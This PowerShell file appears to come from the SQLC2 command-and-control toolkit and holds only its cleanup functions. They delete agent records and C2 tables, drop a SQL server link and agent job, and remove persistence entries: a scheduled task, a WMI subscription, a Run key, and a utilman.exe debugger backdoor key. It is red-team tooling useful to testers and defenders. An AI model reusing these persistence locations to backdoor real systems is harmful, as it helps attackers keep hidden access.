# Remove-SQLC2Agent # ---------------------------------- # Author: Scott Sutherland Function Remove-SQLC2Agent { <# .SYNOPSIS This command clears the agents registered on the remote c2 SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DatabaseName Database name that contains target table. .PARAMETER ServerName Server name to clear command history for. .EXAMPLE PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 .EXAMPLE PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 .EXAMPLE PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database containing target C2 table.')] [string]$Database, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Server to clear command history for.')] [string]$ServerName, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable if($ServerName){ $ServerFilter = "WHERE servername like '$ServerName'" }else{ $ServerFilter = "" } } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to clear agent(s) from $Instance." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = "DELETE FROM dbo.C2AGENTS $ServerFilter" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End { Write-Verbose "$instance : Done." } } # ---------------------------------- # Uninstall-SQLC2AgentPs # ---------------------------------- # Author: Scott Sutherland Function Uninstall-SQLC2AgentPs { <# .SYNOPSIS This command removes the SQLC2 scheduled task and WMI subscription agent beacons from the current system. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance .EXAMPLE PS C:\> Uninstall-SQLC2AgentPs -verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { Write-Verbose "Attempting to remove the SQLC2 persistence methods." } Process { # Remove the schedule tasks Write-Verbose "Remove Scheduled Task." if((Get-ScheduledTask -TaskName "SQLC2AgentPS*" | Measure-Object | Select Count -ExpandProperty Count) -eq 1) { try{ Unregister-ScheduledTask -TaskName "SQLC2AgentPS" -Confirm:$false Write-Verbose " - Scheduled task removed." }catch{ Write-Verbose " - Task could not be removed." } }else{ Write-Verbose " - SQLC2PS Scheduled task does not exist." } <# # Remove the WMI subscription Write-Verbose "Remove WMI Subscription." # Remove WMI Filter # Write-Verbose " - Checking for filter." if((Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2PS_Filter*”).count -eq 1) { Write-Verbose " - Removing SQLC2AgentPS WMI filter." Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2AgentPS_Filter*” | Remove-WmiObject }else{ Write-Verbose " - SQLC2AgentPS WMI filter does not exist." } # Remove WMI Consumer # Write-Verbose " - Checking for consumer." if((Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*”).count -eq 1) { Write-Verbose " - Removing SQLC2AgentPS WMI consumer." Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*” | Remove-WmiObject }else{ Write-Verbose " - SQLC2AgentPS WMI consumer does not exist." } # Remove WMI Binding # Write-Verbose " - Checking for binding." if((Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*”).count -eq 1) { Write-Verbose " - Removing SQLC2AgentPS WMI binding." Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*” | Remove-WmiObject }else{ Write-Verbose " - SQLC2AgentPS WMI binding does not exist." } #> # Remove the registry run keys Write-Verbose "Remove registry run keys." try{ Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction SilentlyContinue | Out-Null Write-Verbose " - Registry run keys removed." }catch{ Write-Verbose " - SQLC2AgentPS run registry key does not exist." } # Remove utilman.exe debugger from registry Write-Verbose "Remove utilman.exe debugger registry keys." if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\") { try{ Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" Write-Verbose " - Utilman.exe debugger registry keys removed." }catch{ Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe." } }else{ Write-Verbose " - SQLC2AgentPS utilman.exe debugger registry key does not exist." } # Remove payload from registry Write-Verbose "Remove payload registry keys." if(Test-Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\) { try{ Remove-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\ Write-Verbose " - Registry keys removed." }catch{ Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\." } }else{ Write-Verbose " - SQLC2AgentPS payload registry key does not exist." } } End { } } # ---------------------------------- # Uninstall-SQLC2AgentLink # ---------------------------------- # Author: Scott Sutherland Function Uninstall-SQLC2AgentLink { <# .SYNOPSIS This command removes the C2 server link and agent job from the agent SQL Server. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance The instance of the C2 link agent. .EXAMPLE PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!' .EXAMPLE PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable if($ServerName){ $ServerFilter = "WHERE servername like '$ServerName'" }else{ $ServerFilter = "" } } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query $Query = " -- Remove server link to SQL C2 Server IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1 exec sp_dropserver 'SQLC2Server', 'droplogins'; else select 'The server link does not exist.' -- Remove C2 agent job IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1 EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ; else select 'The agent job does not exist.'" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose } End { Write-Verbose "$instance : Done." } } # ---------------------------------- # Uninstall-SQLC2Server # ---------------------------------- # Author: Scott Sutherland Function Uninstall-SQLC2Server { <# .SYNOPSIS This command removes the C2 related tables on the C2 SQL Server. .PARAMETER Instance C2 SQL Server instance. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .EXAMPLE PS C:\> Uninstall-SQLC2Server -Verbose -Instance "mysqlserver.database.windows.net" -Database Database1 -Username sa -Password 'MyPassword123!' .EXAMPLE PS C:\> Uninstall-SQLC2Server -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Database Database1 #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server database used to store the C2 tables.')] [string]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { } Process { # Parse computer name from the instance $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." Write-Verbose "$instance : Attempting to remove the C2 tables from $Database database on $Instance." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Setup query to grab commands $Query = " -- Remove command table IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2COMMANDS') = 1 DROP TABLE C2COMMANDS ELSE SELECT 'C2COMMANDS table does not exist.' -- Remove agent table IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2AGENTS') = 1 DROP TABLE C2AGENTS ELSE SELECT 'C2AGENTS table does not exist.'" # Execute Query $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose if(($TblResults | Measure-Object | Select count -ExpandProperty count) -eq 1){ Write-Verbose -Message "$Instance : C2 tables did not exist." } } End { Write-Verbose "$instance : Please note that any databases create with have to be removed manually." Write-Verbose "$instance : Done." } } |